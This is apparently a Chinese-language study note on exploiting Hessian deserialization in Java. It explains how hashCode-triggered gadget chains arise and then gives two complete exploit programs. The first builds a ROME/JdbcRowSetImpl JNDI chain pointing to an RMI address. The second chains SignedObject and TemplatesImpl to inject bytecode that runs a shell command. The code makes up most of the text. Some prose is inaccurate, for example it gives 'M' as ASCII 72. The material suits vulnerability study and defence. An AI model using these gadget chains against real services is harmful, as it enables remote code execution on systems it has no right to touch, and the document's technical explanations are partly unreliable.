Hessian学习
Hessian是什么
Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。
0x01 反序列化分析
demo,直接搬的枫师傅的demo
1 |
|
可以序列化数据是以“mt”表示服。
与序列化过程设计类似,Hessian 定义了 Deserializer 接口,并为不同的类型创建了不同的实现类。这里重点看下对自定义类型对象的读取。
在 Hessian 1.0 的 HessianInput 中,没有针对 Object 的读取,而是都将其作为 Map 读取,在序列化的过程中我们也提到,在写入自定义类型时会将其标记为 Map 类型。
在 Hessian 2.0 中,则是提供了 UnsafeDeserializer 来对自定义类型数据进行反序列化,关键方法在 readObject 处。
由于 Hessian 1.0 会将序列化的结果处理成一个Map,所以序列化结果的第一个byte
总为M
(ASCII为77)。
在HessianInput#readObject中会使用case语句选择。
由于Hessian 2.0t会将序列化的结果处理成一个Map,所以序列化结果的第一个byte
总为M
(ASCII为72)。
在Hessian2Input#readObject中会使用case语句选择。
最后都会待用SerializerFactory.class#readMap()
通过getDeserializer()
来获取一个deserializer
com/caucho/hessian/io/SerializerFactory.java#getDeserializer()
通过getDeserializer()
来获取一个deserializer
,没有就new一个,ram嗨皮创建一个HashMap作为缓存,并将我们需要反序列化的类作为key
放入HashMap中。
HashMap 在 put 键值对时,将会对 key 的 hashcode 进行校验查看是否有重复的 key 出现,这就将会调用 key 的 hasCode 方法。
也就是说 Hessian 相对比原生反序列化的利用链,有几个限制:
gadget chain 起始方法只能为 hashCode/equals
利用链中调用的成员变量不能为 transient 修饰
所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑
TemplatesImpl类中被
transient
修饰的_tfactory
属性无法被序列化,进而导致TemplatesImpl类无法初始化可以参考这个,https://www.cnblogs.com/LittleHann/p/17818994.html
MapDeserializer#readMap 对 Map 类型数据进行反序列化操作是会创建相应的 Map 对象,并将 Key 和 Value 分别反序列化后使用 put 方法写入数据。在没有指定 Map 的具体实现类时,将会默认使用 HashMap ,对于 SortedMap,将会使用 TreeMap。
参考xstreem,有一下两条
通过TreeMap去触发compareTo
1
2
3
4
5
6
7TreeSet.putAll
javax.naming.ldap.Rdn$RdnEntry.compareTo
com.sun.org.apache.xpath.internal.objects.XString.equal
javax.sound.sampled.AudioFileFormat.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue1
2
3
4
5
6
7TreeSet.putAll
javax.naming.ldap.Rdn$RdnEntry.compareTo
com.sun.org.apache.xpath.internal.objects.XStringForFSB.equal
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue0x02 构造exp
一、想到就是hashmap->remo->jndi
TemplatesImpl类中被
transient
修饰的_tfactory
属性无法被序列化,进而导致TemplatesImpl类无法初始化为什么使用Java原生反序列化时不会报错
我们知道,在使用Java原生的反序列化时,如果被反序列化的类重写了
readObject()
,那么Java就会通过反射来调用重写的readObject()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56package com.ser;
import com.alibaba.fastjson.JSONArray;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class MultiUIDefaults implements Serializable {
// static SerializerFactory serializerFactory = new SerializerFactory();
public static void main(String[] args) throws Exception {
// serializerFactory.setAllowNonSerializable(true);
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/remoteExploit8");
jdbcRowSet.setMatchColumn("1");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,new ToStringBean(jdbcRowSet.getClass(),jdbcRowSet));
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"2");
FileOutputStream hessian_jndi = new FileOutputStream("hessian_jndi");
Hessian2Output hessian2Output = new Hessian2Output(hessian_jndi);
hessian2Output.writeObject(hashMap);
hessian2Output.flushBuffer();
FileInputStream hessian_jndi1 = new FileInputStream("hessian_jndi");
Hessian2Input hessian2Input = new Hessian2Input(hessian_jndi1);
hessian2Input.readObject();
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// ObjectOutputStream outputStream = new ObjectOutputStream(baos);
// outputStream.writeObject(hashMap);
// outputStream.close();
//
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// ObjectInputStream Input = new ObjectInputStream(bais);
// Input.readObject();
}
}二、hessisan->SignedObject二次反序列化
hashmap.hashcode()->remo.toString()->signedObject.getObject->BadAttributeValueExpException.readObject->remo.toString()->templateiml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121package com.ser;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javafx.beans.property.Property;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import sun.swing.SwingLazyValue;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.PriorityQueue;
public class hessian_tostring {
static SerializerFactory serializerFactory = new SerializerFactory();
public static void main(String[] args) throws Exception {
serializerFactory.setAllowNonSerializable(true);
// UIDefaults uiDefaults = new UIDefaults();
// uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"rmi://127.0.0.1:1099/remoteExploit8"}));
// Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
// Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
// declaredConstructor.setAccessible(true);
// Object o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});
//
// EqualsBean equalsBean = new EqualsBean(Object.class,o);
//
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(equalsBean,"2");
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat";
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
KeyPair keyPair = keyPairGenerator.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("MD2withRSA");
signature.initSign(privateKey);
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey,signature );
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,new ToStringBean(SignedObject.class,signedObject));
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"2");
Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("./hessiantwo"));
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.flushBuffer();
Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("./hessiantwo"));
hessian2Input.readObject();
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// ObjectOutputStream outputStream = new ObjectOutputStream(baos);
// outputStream.writeObject(hashMap);
// outputStream.close();
//
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// ObjectInputStream Input = new ObjectInputStream(bais);
// Input.readObject();
// ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./hessian_tostring"));
// outputStream.writeObject(hashMap);
// outputStream.close();
//
// ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./hessian_tostring"));
// inputStream.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
链接
https://blog.wanghw.cn/security/hessian-deserialization-jdk-rce-gadget.html
https://goodapple.top/archives/1193
https://www.cnblogs.com/LittleHann/p/17818994.html